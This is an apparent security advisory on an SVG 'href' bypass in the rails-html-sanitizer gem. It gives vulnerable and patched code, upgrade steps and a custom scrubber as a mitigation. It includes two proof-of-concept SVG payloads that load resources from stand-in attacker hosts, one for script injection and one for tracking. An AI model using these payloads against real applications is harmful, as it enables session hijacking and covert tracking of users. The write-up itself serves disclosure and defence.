Jul 22, 2026·6 min read·1 visit
Custom configurations of rails-html-sanitizer allowing SVG reference tags were vulnerable to XSS and tracking because plain 'href' attributes bypassed local-reference filters restricted only to 'xlink:href'.
An issue in rails-html-sanitizer allowed attackers to bypass restrictions on SVG reference elements (such as <use> or <feImage>) when specific custom configurations allowed these tags. Because the sanitizer only restricted the legacy 'xlink:href' attribute to local references, modern browsers supporting plain 'href' attributes according to the SVG 2 specification would load external resources. This could lead to Cross-Site Scripting (XSS) or user tracking.
The rails-html-sanitizer gem is a critical component in the Ruby on Rails ecosystem, serving as the default mechanism to scrub untrusted HTML inputs. Applications use this library to clean user-generated content, preventing cross-site scripting (XSS) and other injection attacks while preserving safe markup structure. The sanitization process is handled by a set of permissive or restrictive rules managed by subclasses of Loofah::Scrubber, such as Rails::HTML::PermitScrubber.
The attack surface expands when applications define custom safe-lists to allow specific SVG elements, including resource references like <use> or <feImage>. These elements allow HTML documents to clone and load external graphical segments or apply image filters. To enforce security, the sanitizer is designed to restrict these tags to local, same-document fragment identifiers (e.g., #element-id).
A security bypass exists because the library's local reference enforcement was strictly coupled to the legacy XML namespace attribute xlink:href. Under the modern SVG 2 specification, browsers natively support the plain href attribute without any namespace prefix. Because the plain href attribute was left unvalidated, an attacker could load external resources, bypassing security enforcement.
The root cause of this vulnerability lies in an incomplete input validation model inside lib/rails/html/scrubbers.rb. The PermitScrubber class contains logic meant to strip references that target external locations. This mechanism operates on the assumption that SVG elements only declare external links using the XML-linked namespace syntax (xlink:href).
The logical flow of the sanitization routine evaluated attributes against Loofah::HTML5::SafeList::SVG_ALLOW_LOCAL_HREF to identify elements allowed to have local references. Once a match was found, the scrubber strictly verified if the active attribute name matched "xlink:href". If it did, it applied the regular expression /^\s*[^#\s].*/m to determine if the reference value did not start with a hash symbol (#). Any value failing this pattern was considered external and removed.
Because the code explicitly validated only "xlink:href", it failed to inspect the modern "href" attribute. In SVG 2, the plain href attribute acts as a functional drop-in replacement. Modern user agents parse the plain href attribute and resolve the referenced resource. The sanitizer allowed the plain href to pass through untouched, violating the security guarantee that these reference elements would remain strictly local.
Let's perform a technical walk-through of the vulnerability before and after the application of the official patch.
In the vulnerable codebase of rails-html-sanitizer (versions prior to 1.7.1), the scrub_attribute method evaluated attributes as follows:
# Vulnerable implementation in lib/rails/html/scrubbers.rb
if Loofah::HTML5::SafeList::SVG_ALLOW_LOCAL_HREF.include?(node.name) && attr_name == "xlink:href" && attr_node.value =~ /^\s*[^#\s].*/m
attr_node.remove
endThis block explicitly targeted the string literal "xlink:href". If an attacker injected a plain href attribute within a <use> element, the second conditional clause evaluated to false, skipping the removal logic.
The patch introduced in commit 74dcb8053e6da9921246ce71b06ad9fd65b19586 corrected this structural omission:
# Patched implementation in lib/rails/html/scrubbers.rb
if Loofah::HTML5::SafeList::SVG_ALLOW_LOCAL_HREF.include?(node.name) && Loofah::HTML5::SafeList::SVG_HREF_ATTRIBUTES.include?(attr_name) && attr_node.value =~ /^\s*[^#\s].*/m
attr_node.remove
endBy refactoring the attribute matching from a hardcoded string equality check to a set membership lookup via Loofah::HTML5::SafeList::SVG_HREF_ATTRIBUTES.include?(attr_name), the library now correctly identifies both "xlink:href" and "href". This change ensures the regular expression check is applied to all supported variations of reference attributes. This fix relies on an upstream dependency on loofah >= 2.25.2 which exposes the comprehensive list of allowed SVG reference attributes.
Exploitation requires that the host application is configured to permit SVG reference elements such as <use> or <feImage>. In a default Rails installation, these elements are not in the permitted safe-list, preventing out-of-the-box exploitation.
To perform an attack, the adversary identifies an endpoint that parses and displays sanitized HTML using a customized configuration. The attacker supplies a payload containing a <use> tag with a plain href attribute pointing to a remote resource under their control:
<svg>
<use href="https://attacker.com/payload.svg#script"></use>
</svg>During processing, the sanitizer parses the input, fails to remove the plain href attribute, and returns the payload intact. When a victim loads the page, the browser parses the markup and resolves the external link. If the target resource is loaded and evaluated in the security context of the vulnerable domain, any script execution defined within the external SVG runs with the privileges of the victim's session.
A secondary attack vector involves user tracking and privacy bypass via the <feImage> filter element:
<svg>
<filter id="track">
<feImage href="https://tracker.attacker.com/log.png"></feImage>
</filter>
</svg>Because the browser fetches the external resource automatically when trying to render the filter, the attacker receives the request, exposing the victim's IP address and browser headers without requiring user interaction.
Below is the logical exploit flow:
The impact of this vulnerability is classified as medium, holding a CVSS v4 score of 5.1. While the exploit path allows full arbitrary JavaScript execution in the client's browser, the severity is mitigated by the prerequisite configuration. Default installations of rails-html-sanitizer are immune since they do not permit SVG reference elements.
In affected applications, the vulnerability is a severe threat. A successful exploitation allows attackers to perform session hijacking, exfiltrate sensitive anti-CSRF tokens, or modify the DOM to present credential harvesting prompts. The browser executes the malicious scripts inside the security origin of the hosting application, granting the script access to local storage, session storage, and cookies that lack the HttpOnly flag.
Additionally, the <feImage> tracking vector represents a privacy bypass. It permits silent cross-origin resource requests, enabling attackers to verify active user sessions and track user navigation across sanitized sections of the application.
The primary and recommended mitigation is upgrading rails-html-sanitizer to version 1.7.1 or higher. This upgrade enforces a hard dependency on loofah >= 2.25.2, which includes the updated definition of SVG_HREF_ATTRIBUTES to cover both plain and namespaced references.
To execute the upgrade, modify the dependency declaration in the application's Gemfile:
gem 'rails-html-sanitizer', '>= 1.7.1'Then run the following bundler command to update both gems:
bundle update rails-html-sanitizer loofahIf an immediate gem upgrade is not feasible, developers must configure a custom scrubber to block or clean the problematic SVG tags before they reach the native safe-list scrubber. Below is an implementation of a custom Rails scrubber that strips <use> and <feImage> elements:
class StripSvgReferencesScrubber < Rails::Html::Scrubber
def setup
@tags = %w(use feImage)
end
def scrub(node)
if @tags.include?(node.name)
node.remove
return STOP
end
end
endThis custom scrubber can be passed to the sanitizer call, ensuring that these elements are cleanly purged regardless of the safe-list configuration.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N| Product | Affected Versions | Fixed Version |
|---|---|---|
rails-html-sanitizer rails | >= 1.0.3, < 1.7.1 | 1.7.1 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-79 |
| Attack Vector | Network |
| CVSS v4 Score | 5.1 (Medium) |
| Exploit Status | poc |
| KEV Status | Not Listed |
| Component | rails-html-sanitizer |
The software does not neutralize or incorrectly neutralizes user-controlled input before it is placed in output that is used as a web page that is served to other users.
An input validation flaw in GitPython allows remote attackers to exfiltrate system environment variables and bypass safe-protocol restrictions via crafted repository URLs passed to the clone API.
A Denial of Service (DoS) vulnerability has been identified in the Node.js XML parsing library fast-xml-parser. The flaw allows unauthenticated remote attackers to cause severe CPU exhaustion, event-loop blocking, and system crashes by sending a crafted XML payload containing repeated DOCTYPE declarations that bypass recursive entity expansion protections.
The high-performance Node.js image processing library sharp inherits several high and medium-severity security vulnerabilities from its underlying native dependency libvips. These include integer overflows in dimensions calculation, heap-based buffer overflows in GIF/TIFF and JPEG2000 processing, and out-of-bounds reads in the EXIF directory decoder, enabling denial of service and potential code execution.
An interpretation conflict (CWE-436) exists in fast-uri due to differing handling of backslash characters between RFC 3986 and the WHATWG URL specification. This differential allows remote attackers to bypass SSRF filters and origin-allowlist protections when fast-uri is used in conjunction with WHATWG-compliant HTTP clients like Node.js native fetch or undici.
An authorization bypass vulnerability exists in FasterXML jackson-databind versions 2.18.x up to 2.18.8 (and other release branches) where the active @JsonView constraint is bypassed during the deserialization of properties marked with @JsonUnwrapped. This allows remote, authenticated attackers to alter restricted administrative properties on server-side objects by injecting flattened parameters into standard JSON payloads.
CVE-2026-58426 is a critical security vulnerability in Gitea Actions where improper signature serialization allows an authenticated attacker to execute a canonicalization (boundary-shifting) attack. By rewriting query parameters while keeping the signature intact, the attacker can bypass access control checks to read private workflow artifacts or modify concurrent task upload states.